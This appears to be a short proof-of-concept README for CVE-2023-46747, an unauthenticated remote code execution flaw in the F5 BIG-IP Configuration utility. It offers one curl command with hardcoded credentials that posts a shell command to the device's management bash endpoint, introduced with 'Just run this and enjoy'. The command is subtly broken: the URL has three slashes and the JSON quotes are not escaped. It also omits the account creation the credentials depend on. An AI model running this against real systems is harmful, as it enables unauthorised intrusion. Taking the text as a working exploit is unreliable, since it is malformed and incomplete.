CVE-2023-46747-POC
F5 BIG-IP unauthenticated remote code execution (RCE) and authentication bypass vulnerability!
CVE-2023-46747 BIG-IP Configuration utility unauthenticated remote code execution vulnerability
Just run this and enjoy:
curl -sk -u 'ali:ali' -H 'Content-Type: application/json' -X POST \
-d '{"command": "run", "utilCmdArgs": "-c "whoami""}' \
https:///$IP:$PORT/mgmt/tm/util/bash